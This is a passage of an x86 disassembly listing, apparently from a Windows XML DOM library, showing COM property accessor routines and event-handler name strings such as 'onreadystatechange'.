loc_69B58259: ; CODE XREF: sub_69B581CE+20j
call sub_69B1853C
retn 4
sub_69B581CE endp
; ---------------------------------------------------------------------------
align 8
dword_69B58268 dd 0FFFFFFFFh dd offset loc_69B58222
dd offset loc_69B5822B
; =============== S U B R O U T I N E =======================================
sub_69B58274 proc near ; DATA XREF: .text:69B28F54o
push 30h
push offset dword_69B58390
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor edi, edi
cmp eax, edi
jnz short loc_69B58299
mov eax, 80004005h
jmp loc_69B58381
; ---------------------------------------------------------------------------
loc_69B58299: ; CODE XREF: sub_69B58274+19j
mov esi, [ebp+8]
push dword ptr [esi+18h]
push eax
lea ecx, [ebp-28h]
call sub_69B1B406
mov [ebp-2Ch], edi
mov [ebp-4], edi
mov ecx, [esi+18h]
mov [ebp-30h], ecx
call sub_69B3E0AB
push dword ptr [ebp+0Ch] ; lpString
call sub_69B1A587
mov [ebp-34h], eax
mov ecx, [esi+18h]
mov [ebp-38h], ecx
push eax
call sub_69B3F10D
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_69B58300
; ---------------------------------------------------------------------------
loc_69B582D6: ; DATA XREF: .text:69B58394o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B582DF: ; DATA XREF: .text:69B58398o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov edi, eax
mov [ebp-2Ch], edi
or dword ptr [ebp-4], 0FFFFFFFFh
mov esi, [ebp+8]
loc_69B58300: ; CODE XREF: sub_69B58274+60j
mov dword ptr [ebp-4], 1
mov eax, [esi+18h]
mov [ebp-3Ch], eax
mov byte ptr [eax+0C9h], 1
mov ecx, [esi+18h]
mov [ebp-40h], ecx
push edi
call sub_69B3E1E4
jmp short loc_69B58349
; ---------------------------------------------------------------------------
loc_69B58322: ; DATA XREF: .text:69B583A0o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B5832B: ; DATA XREF: .text:69B583A4o
mov esp, [ebp-18h]
mov edi, [ebp-2Ch]
test edi, edi
jnz short loc_69B58349
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov edi, eax
loc_69B58349: ; CODE XREF: sub_69B58274+ACj
; sub_69B58274+BFj
or dword ptr [ebp-4], 0FFFFFFFFh
test edi, edi
jge short loc_69B5835C
cmp edi, 80070005h
jz short loc_69B5835C
xor edi, edi
inc edi
loc_69B5835C: ; CODE XREF: sub_69B58274+DBj
; sub_69B58274+E3j
mov eax, [ebp+10h]
test eax, eax
jz short loc_69B5836E
xor ecx, ecx
test edi, edi
setnz cl
dec ecx
mov [eax], cx
loc_69B5836E: ; CODE XREF: sub_69B58274+EDj
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, edi
loc_69B58381: ; CODE XREF: sub_69B58274+20j
call sub_69B1853C
retn 0Ch
sub_69B58274 endp
; ---------------------------------------------------------------------------
align 10h
dword_69B58390 dd 0FFFFFFFFh dd offset loc_69B582D6
dd offset loc_69B582DF
dd 0FFFFFFFFh
dd offset loc_69B58322
dd offset loc_69B5832B
; =============== S U B R O U T I N E =======================================
sub_69B583A8 proc near ; DATA XREF: .text:69B28F58o
push 6Ch
push offset dword_69B585F0
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor edi, edi
cmp eax, edi
jnz short loc_69B583CD
mov eax, 80004005h
jmp loc_69B585E8
; ---------------------------------------------------------------------------
loc_69B583CD: ; CODE XREF: sub_69B583A8+19j
mov esi, [ebp+8]
push dword ptr [esi+18h]
push eax
lea ecx, [ebp-28h]
call sub_69B1B406
mov word ptr [ebp-38h], 1
mov [ebp-3Ch], edi
mov [ebp-40h], edi
mov [ebp-44h], edi
mov [ebp-48h], edi
mov [ebp-4Ch], edi
mov [ebp-4], edi
push edi
lea eax, [ebp+0Ch]
push eax
call sub_69B88597
mov ebx, eax
mov [ebp-50h], ebx
cmp ebx, edi
jz loc_69B584F6
mov eax, [ebx]
lea ecx, [ebp-40h]
push ecx
push offset dword_69B2AFF0
push ebx
call dword ptr [eax]
test eax, eax
jnz short loc_69B58428
mov eax, [esi+18h]
mov [ebp-54h], eax
jmp loc_69B584A8
; ---------------------------------------------------------------------------
loc_69B58428: ; CODE XREF: sub_69B583A8+73j
mov eax, [ebx]
lea ecx, [ebp-44h]
push ecx
push offset dword_69B2B000
push ebx
call dword ptr [eax]
test eax, eax
jnz short loc_69B5844D
push dword ptr [ebp-44h]
call sub_69B38858
mov [ebp-40h], eax
mov eax, [esi+18h]
mov [ebp-58h], eax
jmp short loc_69B584A8
; ---------------------------------------------------------------------------
loc_69B5844D: ; CODE XREF: sub_69B583A8+90j
mov eax, [ebx]
lea ecx, [ebp-4Ch]
push ecx
push offset dword_69B2B020
push ebx
call dword ptr [eax]
test eax, eax
jz short loc_69B584C5
mov eax, [ebx]
lea ecx, [ebp-4Ch]
push ecx
push offset dword_69B2B0D0
push ebx
call dword ptr [eax]
test eax, eax
jz short loc_69B584C5
mov eax, [ebx]
lea ecx, [ebp-48h]
push ecx
push offset dword_69B28DD8
push ebx
call dword ptr [eax]
test eax, eax
jnz short loc_69B584B9
push 34h
call sub_69B1D897
mov ecx, eax
mov [ebp-5Ch], ecx
cmp ecx, edi
jz short loc_69B5849D
push dword ptr [ebp-48h]
call sub_69B5656B
jmp short loc_69B5849F
; ---------------------------------------------------------------------------
loc_69B5849D: ; CODE XREF: sub_69B583A8+E9j
xor eax, eax
loc_69B5849F: ; CODE XREF: sub_69B583A8+F3j
mov [ebp-40h], eax
mov eax, [esi+18h]
mov [ebp-60h], eax
loc_69B584A8: ; CODE XREF: sub_69B583A8+7Bj
; sub_69B583A8+A3j
lea ecx, [eax+24h]
mov eax, [ecx]
push edi
push dword ptr [ebp-40h]
call dword ptr [eax+40h]
jmp loc_69B58541
; ---------------------------------------------------------------------------
loc_69B584B9: ; CODE XREF: sub_69B583A8+D9j
; sub_69B583A8+169j ...
mov dword ptr [ebp-3Ch], 80070057h
jmp loc_69B58569
; ---------------------------------------------------------------------------
loc_69B584C5: ; CODE XREF: sub_69B583A8+B5j
; sub_69B583A8+C7j
push 34h
call sub_69B1D897
mov ecx, eax
mov [ebp-64h], ecx
cmp ecx, edi
jz short loc_69B584E3
mov eax, [esi+18h]
mov [ebp-68h], eax
push eax
call sub_69B56509
jmp short loc_69B584E5
; ---------------------------------------------------------------------------
loc_69B584E3: ; CODE XREF: sub_69B583A8+12Bj
xor eax, eax
loc_69B584E5: ; CODE XREF: sub_69B583A8+139j
mov [ebp-40h], eax
mov eax, [ebp-4Ch]
mov ecx, [eax]
push dword ptr [ebp-40h]
push eax
call dword ptr [ecx+14h]
jmp short loc_69B58541
; ---------------------------------------------------------------------------
loc_69B584F6: ; CODE XREF: sub_69B583A8+5Dj
push 8 ; vt
push 1 ; wFlags
call ds:GetThreadLocale ; GetThreadLocale
push eax ; lcid
lea eax, [ebp+0Ch]
push eax ; pvarSrc
lea eax, [ebp-38h]
push eax ; pvargDest
call VariantChangeTypeEx
test eax, eax
jnz short loc_69B584B9
cmp [ebp-30h], edi
jz short loc_69B584B9
mov eax, [esi+18h]
mov [ebp-6Ch], eax
cmp [eax+1Ch], edi
jz short loc_69B5852C
mov dword ptr [ebp-3Ch], 80070005h
jmp short loc_69B58569
; ---------------------------------------------------------------------------
loc_69B5852C: ; CODE XREF: sub_69B583A8+179j
mov [ebp-70h], eax
push edi
push dword ptr [ebp-30h] ; lpString
call sub_69B1A587
push eax
mov ecx, [ebp-70h]
call sub_69B3E662
loc_69B58541: ; CODE XREF: sub_69B583A8+10Cj
; sub_69B583A8+14Cj
mov eax, [ebp-40h]
cmp eax, edi
jz short loc_69B58569
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
mov [ebp-40h], edi
mov esi, [esi+18h]
mov [ebp-74h], esi
mov ecx, [esi+6Ch]
mov [ebp-78h], ecx
mov [ebp-7Ch], ecx
cmp ecx, edi
jz short loc_69B58569
call sub_69B2E875
loc_69B58569: ; CODE XREF: sub_69B583A8+118j
; sub_69B583A8+182j ...
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_69B58596
; ---------------------------------------------------------------------------
loc_69B5856F: ; DATA XREF: .text:69B585F4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B58578: ; DATA XREF: .text:69B585F8o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-3Ch], eax
or dword ptr [ebp-4], 0FFFFFFFFh
xor edi, edi
loc_69B58596: ; CODE XREF: sub_69B583A8+1C5j
lea eax, [ebp-38h]
push eax ; pvarg
call VariantClear
mov eax, [ebp-40h]
cmp eax, edi
jz short loc_69B585AD
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B585AD: ; CODE XREF: sub_69B583A8+1FDj
mov eax, [ebp-44h]
cmp eax, edi
jz short loc_69B585BA
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B585BA: ; CODE XREF: sub_69B583A8+20Aj
mov eax, [ebp-4Ch]
cmp eax, edi
jz short loc_69B585C7
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B585C7: ; CODE XREF: sub_69B583A8+217j
mov eax, [ebp-48h]
cmp eax, edi
jz short loc_69B585D4
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B585D4: ; CODE XREF: sub_69B583A8+224j
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-3Ch]
loc_69B585E8: ; CODE XREF: sub_69B583A8+20j
call sub_69B1853C
retn 14h
sub_69B583A8 endp
; ---------------------------------------------------------------------------
dword_69B585F0 dd 0FFFFFFFFh dd offset loc_69B5856F
dd offset loc_69B58578
; =============== S U B R O U T I N E =======================================
sub_69B585FC proc near ; DATA XREF: .text:69B28F5Co
push 24h
push offset dword_69B58690
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor edi, edi
cmp eax, edi
jnz short loc_69B5861E
mov eax, 80004005h
jmp short loc_69B58682
; ---------------------------------------------------------------------------
loc_69B5861E: ; CODE XREF: sub_69B585FC+19j
mov esi, [ebp+8]
push dword ptr [esi+18h]
push eax
lea ecx, [ebp-2Ch]
call sub_69B18B3B
mov [ebp-4], edi
mov esi, [esi+18h]
mov [ebp-30h], esi
mov al, [esi+82h]
mov [ebp-31h], al
neg al
sbb eax, eax
mov ecx, [ebp+0Ch]
mov [ecx], ax
jmp short loc_69B5866B
; ---------------------------------------------------------------------------
loc_69B5864B: ; DATA XREF: .text:69B58694o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B58654: ; DATA XREF: .text:69B58698o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov edi, eax
loc_69B5866B: ; CODE XREF: sub_69B585FC+4Dj
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-2Ch]
call sub_69B18EBA
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, edi
loc_69B58682: ; CODE XREF: sub_69B585FC+20j
call sub_69B1853C
retn 8
sub_69B585FC endp
; ---------------------------------------------------------------------------
align 10h
dword_69B58690 dd 0FFFFFFFFh dd offset loc_69B5864B
dd offset loc_69B58654
; =============== S U B R O U T I N E =======================================
sub_69B5869C proc near ; DATA XREF: .text:69B28F60o
push 24h
push offset dword_69B58740
call sub_69B19C5C
call dword_69B92948
mov edi, eax
mov [ebp-1Ch], edi
test edi, edi
jz short loc_69B586DB
mov esi, [ebp+8]
push dword ptr [esi+18h]
push edi
lea ecx, [ebp-30h]
call sub_69B43E1C
cmp byte ptr [ebp-2Ch], 0
jnz short loc_69B586E2
lea ecx, [ebp-30h]
call sub_69B4637D
push edi
call dword_69B92944
loc_69B586DB: ; CODE XREF: sub_69B5869C+19j
mov eax, 80004005h
jmp short loc_69B58734
; ---------------------------------------------------------------------------
loc_69B586E2: ; CODE XREF: sub_69B5869C+2Ej
xor edi, edi
and [ebp-4], edi
mov esi, [esi+18h]
mov [ebp-34h], esi
cmp word ptr [ebp+0Ch], 0FFFFh
setz al
mov [esi+82h], al
jmp short loc_69B5871D
; ---------------------------------------------------------------------------
loc_69B586FD: ; DATA XREF: .text:69B58744o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B58706: ; DATA XREF: .text:69B58748o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov edi, eax
loc_69B5871D: ; CODE XREF: sub_69B5869C+5Fj
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-30h]
call sub_69B4637D
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, edi
loc_69B58734: ; CODE XREF: sub_69B5869C+44j
call sub_69B1853C
retn 8
sub_69B5869C endp
; ---------------------------------------------------------------------------
align 10h
dword_69B58740 dd 0FFFFFFFFh dd offset loc_69B586FD
dd offset loc_69B58706
; =============== S U B R O U T I N E =======================================
sub_69B5874C proc near ; DATA XREF: .text:69B28F64o
push 24h
push offset dword_69B587E0
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor edi, edi
cmp eax, edi
jnz short loc_69B5876E
mov eax, 80004005h
jmp short loc_69B587D2
; ---------------------------------------------------------------------------
loc_69B5876E: ; CODE XREF: sub_69B5874C+19j
mov esi, [ebp+8]
push dword ptr [esi+18h]
push eax
lea ecx, [ebp-2Ch]
call sub_69B18B3B
mov [ebp-4], edi
mov esi, [esi+18h]
mov [ebp-30h], esi
mov al, [esi+83h]
mov [ebp-31h], al
neg al
sbb eax, eax
mov ecx, [ebp+0Ch]
mov [ecx], ax
jmp short loc_69B587BB
; ---------------------------------------------------------------------------
loc_69B5879B: ; DATA XREF: .text:69B587E4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B587A4: ; DATA XREF: .text:69B587E8o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov edi, eax
loc_69B587BB: ; CODE XREF: sub_69B5874C+4Dj
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-2Ch]
call sub_69B18EBA
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, edi
loc_69B587D2: ; CODE XREF: sub_69B5874C+20j
call sub_69B1853C
retn 8
sub_69B5874C endp
; ---------------------------------------------------------------------------
align 10h
dword_69B587E0 dd 0FFFFFFFFh dd offset loc_69B5879B
dd offset loc_69B587A4
; =============== S U B R O U T I N E =======================================
sub_69B587EC proc near ; DATA XREF: .text:69B28F68o
push 24h
push offset dword_69B58890
call sub_69B19C5C
call dword_69B92948
mov edi, eax
mov [ebp-1Ch], edi
test edi, edi
jz short loc_69B5882B
mov esi, [ebp+8]
push dword ptr [esi+18h]
push edi
lea ecx, [ebp-30h]
call sub_69B43E1C
cmp byte ptr [ebp-2Ch], 0
jnz short loc_69B58832
lea ecx, [ebp-30h]
call sub_69B4637D
push edi
call dword_69B92944
loc_69B5882B: ; CODE XREF: sub_69B587EC+19j
mov eax, 80004005h
jmp short loc_69B58884
; ---------------------------------------------------------------------------
loc_69B58832: ; CODE XREF: sub_69B587EC+2Ej
xor edi, edi
and [ebp-4], edi
mov esi, [esi+18h]
mov [ebp-34h], esi
cmp word ptr [ebp+0Ch], 0FFFFh
setz al
mov [esi+83h], al
jmp short loc_69B5886D
; ---------------------------------------------------------------------------
loc_69B5884D: ; DATA XREF: .text:69B58894o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B58856: ; DATA XREF: .text:69B58898o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov edi, eax
loc_69B5886D: ; CODE XREF: sub_69B587EC+5Fj
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-30h]
call sub_69B4637D
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, edi
loc_69B58884: ; CODE XREF: sub_69B587EC+44j
call sub_69B1853C
retn 8
sub_69B587EC endp
; ---------------------------------------------------------------------------
align 10h
dword_69B58890 dd 0FFFFFFFFh dd offset loc_69B5884D
dd offset loc_69B58856
; =============== S U B R O U T I N E =======================================
sub_69B5889C proc near ; DATA XREF: .text:69B28F6Co
push 24h
push offset dword_69B58930
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor edi, edi
cmp eax, edi
jnz short loc_69B588BE
mov eax, 80004005h
jmp short loc_69B58922
; ---------------------------------------------------------------------------
loc_69B588BE: ; CODE XREF: sub_69B5889C+19j
mov esi, [ebp+8]
push dword ptr [esi+18h]
push eax
lea ecx, [ebp-2Ch]
call sub_69B18B3B
mov [ebp-4], edi
mov esi, [esi+18h]
mov [ebp-30h], esi
mov al, [esi+8Eh]
mov [ebp-31h], al
neg al
sbb eax, eax
mov ecx, [ebp+0Ch]
mov [ecx], ax
jmp short loc_69B5890B
; ---------------------------------------------------------------------------
loc_69B588EB: ; DATA XREF: .text:69B58934o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B588F4: ; DATA XREF: .text:69B58938o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov edi, eax
loc_69B5890B: ; CODE XREF: sub_69B5889C+4Dj
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-2Ch]
call sub_69B18EBA
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, edi
loc_69B58922: ; CODE XREF: sub_69B5889C+20j
call sub_69B1853C
retn 8
sub_69B5889C endp
; ---------------------------------------------------------------------------
align 10h
dword_69B58930 dd 0FFFFFFFFh dd offset loc_69B588EB
dd offset loc_69B588F4
; =============== S U B R O U T I N E =======================================
sub_69B5893C proc near ; DATA XREF: .text:69B28F70o
push 24h
push offset dword_69B589E0
call sub_69B19C5C
call dword_69B92948
mov edi, eax
mov [ebp-1Ch], edi
test edi, edi
jz short loc_69B5897B
mov esi, [ebp+8]
push dword ptr [esi+18h]
push edi
lea ecx, [ebp-30h]
call sub_69B43E1C
cmp byte ptr [ebp-2Ch], 0
jnz short loc_69B58982
lea ecx, [ebp-30h]
call sub_69B4637D
push edi
call dword_69B92944
loc_69B5897B: ; CODE XREF: sub_69B5893C+19j
mov eax, 80004005h
jmp short loc_69B589D4
; ---------------------------------------------------------------------------
loc_69B58982: ; CODE XREF: sub_69B5893C+2Ej
xor edi, edi
and [ebp-4], edi
mov esi, [esi+18h]
mov [ebp-34h], esi
cmp word ptr [ebp+0Ch], 0FFFFh
setz al
mov [esi+8Eh], al
jmp short loc_69B589BD
; ---------------------------------------------------------------------------
loc_69B5899D: ; DATA XREF: .text:69B589E4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B589A6: ; DATA XREF: .text:69B589E8o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov edi, eax
loc_69B589BD: ; CODE XREF: sub_69B5893C+5Fj
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-30h]
call sub_69B4637D
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, edi
loc_69B589D4: ; CODE XREF: sub_69B5893C+44j
call sub_69B1853C
retn 8
sub_69B5893C endp
; ---------------------------------------------------------------------------
align 10h
dword_69B589E0 dd 0FFFFFFFFh dd offset loc_69B5899D
dd offset loc_69B589A6
; =============== S U B R O U T I N E =======================================
sub_69B589EC proc near ; DATA XREF: .text:69B28F74o
push 30h
push offset dword_69B58AC0
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
test eax, eax
jnz short loc_69B58A0F
mov eax, 80004005h
jmp loc_69B58A90
; ---------------------------------------------------------------------------
loc_69B58A0F: ; CODE XREF: sub_69B589EC+17j
mov esi, [ebp+8]
push dword ptr [esi+18h]
push eax
lea ecx, [ebp-28h]
call sub_69B1B406
lea eax, [ebp-38h]
push eax ; pvarg
call VariantInit
and dword ptr [ebp-4], 0
push 9 ; vt
push 1 ; wFlags
lea eax, [ebp+0Ch]
push eax ; pvarSrc
lea eax, [ebp-38h]
push eax ; pvargDest
call VariantChangeType
mov edi, eax
mov [ebp-3Ch], edi
test edi, edi
jl short loc_69B58A6F
mov ecx, [esi+18h]
mov [ebp-40h], ecx
push dword ptr [ebp-30h]
call sub_69B3F0EC
jmp short loc_69B58A6F
; ---------------------------------------------------------------------------
loc_69B58A57: ; DATA XREF: .text:69B58AC4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B58A60: ; DATA XREF: .text:69B58AC8o
mov esp, [ebp-18h]
push offset aOnreadystatech ; "onreadystatechange"
call sub_69B57011
mov edi, eax
loc_69B58A6F: ; CODE XREF: sub_69B589EC+59j
; sub_69B589EC+69j
or dword ptr [ebp-4], 0FFFFFFFFh
lea eax, [ebp-38h]
push eax ; pvarg
call VariantClear
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, edi
loc_69B58A90: ; CODE XREF: sub_69B589EC+1Ej
call sub_69B1853C
retn 14h
sub_69B589EC endp
; ---------------------------------------------------------------------------
; const WCHAR aOnreadystatech
aOnreadystatech: ; DATA XREF: sub_69B589EC+77o
; .data:69B998A0o
unicode 0, <onreadystatechange>,0
align 10h
dword_69B58AC0 dd 0FFFFFFFFh dd offset loc_69B58A57
dd offset loc_69B58A60
; =============== S U B R O U T I N E =======================================
sub_69B58ACC proc near ; DATA XREF: .text:69B28F78o
push 30h
push offset dword_69B58B98
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
test eax, eax
jnz short loc_69B58AEF
mov eax, 80004005h
jmp loc_69B58B70
; ---------------------------------------------------------------------------
loc_69B58AEF: ; CODE XREF: sub_69B58ACC+17j
mov esi, [ebp+8]
push dword ptr [esi+18h]
push eax
lea ecx, [ebp-28h]
call sub_69B1B406
lea eax, [ebp-38h]
push eax ; pvarg
call VariantInit
and dword ptr [ebp-4], 0
push 9 ; vt
push 1 ; wFlags
lea eax, [ebp+0Ch]
push eax ; pvarSrc
lea eax, [ebp-38h]
push eax ; pvargDest
call VariantChangeType
mov edi, eax
mov [ebp-3Ch], edi
test edi, edi
jl short loc_69B58B4F
mov ecx, [esi+18h]
mov [ebp-40h], ecx
push dword ptr [ebp+14h]
call sub_69B3F0F7
jmp short loc_69B58B4F
; ---------------------------------------------------------------------------
loc_69B58B37: ; DATA XREF: .text:69B58B9Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B58B40: ; DATA XREF: .text:69B58BA0o
mov esp, [ebp-18h]
push offset aOndataavaila_0 ; "ondataavailable"
call sub_69B57011
mov edi, eax
loc_69B58B4F: ; CODE XREF: sub_69B58ACC+59j
; sub_69B58ACC+69j
or dword ptr [ebp-4], 0FFFFFFFFh
lea eax, [ebp-38h]
push eax ; pvarg
call VariantClear
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, edi
loc_69B58B70: ; CODE XREF: sub_69B58ACC+1Ej
call sub_69B1853C
retn 14h
sub_69B58ACC endp
; ---------------------------------------------------------------------------
; const WCHAR aOndataavaila_0
aOndataavaila_0: ; DATA XREF: sub_69B58ACC+77o
; .data:69B99888o
unicode 0, <ondataavailable>,0
dword_69B58B98 dd 0FFFFFFFFh dd offset loc_69B58B37
dd offset loc_69B58B40
; =============== S U B R O U T I N E =======================================
sub_69B58BA4 proc near ; DATA XREF: .text:69B28F7Co
push 30h
push offset dword_69B58C70
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
test eax, eax
jnz short loc_69B58BC7
mov eax, 80004005h
jmp loc_69B58C48
; ---------------------------------------------------------------------------
loc_69B58BC7: ; CODE XREF: sub_69B58BA4+17j
mov esi, [ebp+8]
push dword ptr [esi+18h]
push eax
lea ecx, [ebp-28h]
call sub_69B1B406
lea eax, [ebp-38h]
push eax ; pvarg
call VariantInit
and dword ptr [ebp-4], 0
push 9 ; vt
push 1 ; wFlags
lea eax, [ebp+0Ch]
push eax ; pvarSrc
lea eax, [ebp-38h]
push eax ; pvargDest
call VariantChangeType
mov edi, eax
mov [ebp-3Ch], edi
test edi, edi
jl short loc_69B58C27
mov ecx, [esi+18h]
mov [ebp-40h], ecx
push dword ptr [ebp+14h]
call sub_69B3F102
jmp short loc_69B58C27
; ---------------------------------------------------------------------------
loc_69B58C0F: ; DATA XREF: .text:69B58C74o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B58C18: ; DATA XREF: .text:69B58C78o
mov esp, [ebp-18h]
push offset aOntransformnod ; "ontransformnode"
call sub_69B57011
mov edi, eax
loc_69B58C27: ; CODE XREF: sub_69B58BA4+59j
; sub_69B58BA4+69j
or dword ptr [ebp-4], 0FFFFFFFFh
lea eax, [ebp-38h]
push eax ; pvarg
call VariantClear
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, edi
loc_69B58C48: ; CODE XREF: sub_69B58BA4+1Ej
call sub_69B1853C
retn 14h
sub_69B58BA4 endp
; ---------------------------------------------------------------------------
; const WCHAR aOntransformnod
aOntransformnod: ; DATA XREF: sub_69B58BA4+77o
; .data:69B998B8o
unicode 0, <ontransformnode>,0
dword_69B58C70 dd 0FFFFFFFFh dd offset loc_69B58C0F
dd offset loc_69B58C18
; =============== S U B R O U T I N E =======================================
sub_69B58C7C proc near ; DATA XREF: .text:69B28F80o
push 30h
push offset dword_69B58D68
call sub_69B19C5C
call dword_69B92948
mov edi, eax
mov [ebp-1Ch], edi
test edi, edi
jnz short loc_69B58CA1
mov eax, 80004005h
jmp loc_69B58D5C
; ---------------------------------------------------------------------------
loc_69B58CA1: ; CODE XREF: sub_69B58C7C+19j
mov eax, [ebp+8]
mov esi, [eax+18h]
push esi
push edi
lea ecx, [ebp-2Ch]
call sub_69B18B3B
mov ebx, [ebp+0Ch]
test ebx, ebx
jnz short loc_69B58CD1
lea ecx, [ebp-2Ch]
call sub_69B18EBA
push edi
call dword_69B92944
mov eax, 80004003h
jmp loc_69B58D5C
; ---------------------------------------------------------------------------
loc_69B58CD1: ; CODE XREF: sub_69B58C7C+3Aj
and dword ptr [ebp-4], 0
lea edi, [esi+64h]
mov eax, [edi]
mov [ebp-30h], eax
mov [ebp-34h], eax
test eax, eax
jz short loc_69B58CEE
mov [ebx], eax
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
jmp short loc_69B58D17
; ---------------------------------------------------------------------------
loc_69B58CEE: ; CODE XREF: sub_69B58C7C+66j
push 24h
call sub_69B1D897
mov [ebp-38h], eax
test eax, eax
jz short loc_69B58D06
push esi
mov ecx, eax
call sub_69B3CDC8
jmp short loc_69B58D08
; ---------------------------------------------------------------------------
loc_69B58D06: ; CODE XREF: sub_69B58C7C+7Ej
xor eax, eax
loc_69B58D08: ; CODE XREF: sub_69B58C7C+88j
mov [ebp-34h], eax
mov [ebx], eax
mov [ebp-3Ch], edi
push eax ; Value
push edi ; Target
call sub_69B18921
loc_69B58D17: ; CODE XREF: sub_69B58C7C+70j
and dword ptr [ebp-40h], 0
jmp short loc_69B58D44
; ---------------------------------------------------------------------------
loc_69B58D1D: ; DATA XREF: .text:69B58D6Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B58D26: ; DATA XREF: .text:69B58D70o
mov esp, [ebp-18h]
mov eax, [ebp+0Ch]
and dword ptr [eax], 0
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-40h], eax
loc_69B58D44: ; CODE XREF: sub_69B58C7C+9Fj
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-2Ch]
call sub_69B18EBA
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-40h]
loc_69B58D5C: ; CODE XREF: sub_69B58C7C+20j
; sub_69B58C7C+50j
call sub_69B1853C
retn 8
sub_69B58C7C endp
; ---------------------------------------------------------------------------
align 8
dword_69B58D68 dd 0FFFFFFFFh dd offset loc_69B58D1D
dd offset loc_69B58D26
; =============== S U B R O U T I N E =======================================
sub_69B58D74 proc near ; DATA XREF: .text:69B28F84o
push 28h
push offset dword_69B58E40
call sub_69B19C5C
call dword_69B92948
mov edi, eax
mov [ebp-1Ch], edi
test edi, edi
jnz short loc_69B58D99
mov eax, 80004005h
jmp loc_69B58E38
; ---------------------------------------------------------------------------
loc_69B58D99: ; CODE XREF: sub_69B58D74+19j
mov eax, [ebp+8]
mov esi, [eax+18h]
push esi
push edi
lea ecx, [ebp-2Ch]
call sub_69B18B3B
mov ecx, [ebp+0Ch]
test ecx, ecx
jnz short loc_69B58DC6
lea ecx, [ebp-2Ch]
call sub_69B18EBA
push edi
call dword_69B92944
mov eax, 80004003h
jmp short loc_69B58E38
; ---------------------------------------------------------------------------
loc_69B58DC6: ; CODE XREF: sub_69B58D74+3Aj
and dword ptr [ebp-4], 0
mov eax, [esi+68h]
mov [ebp-30h], eax
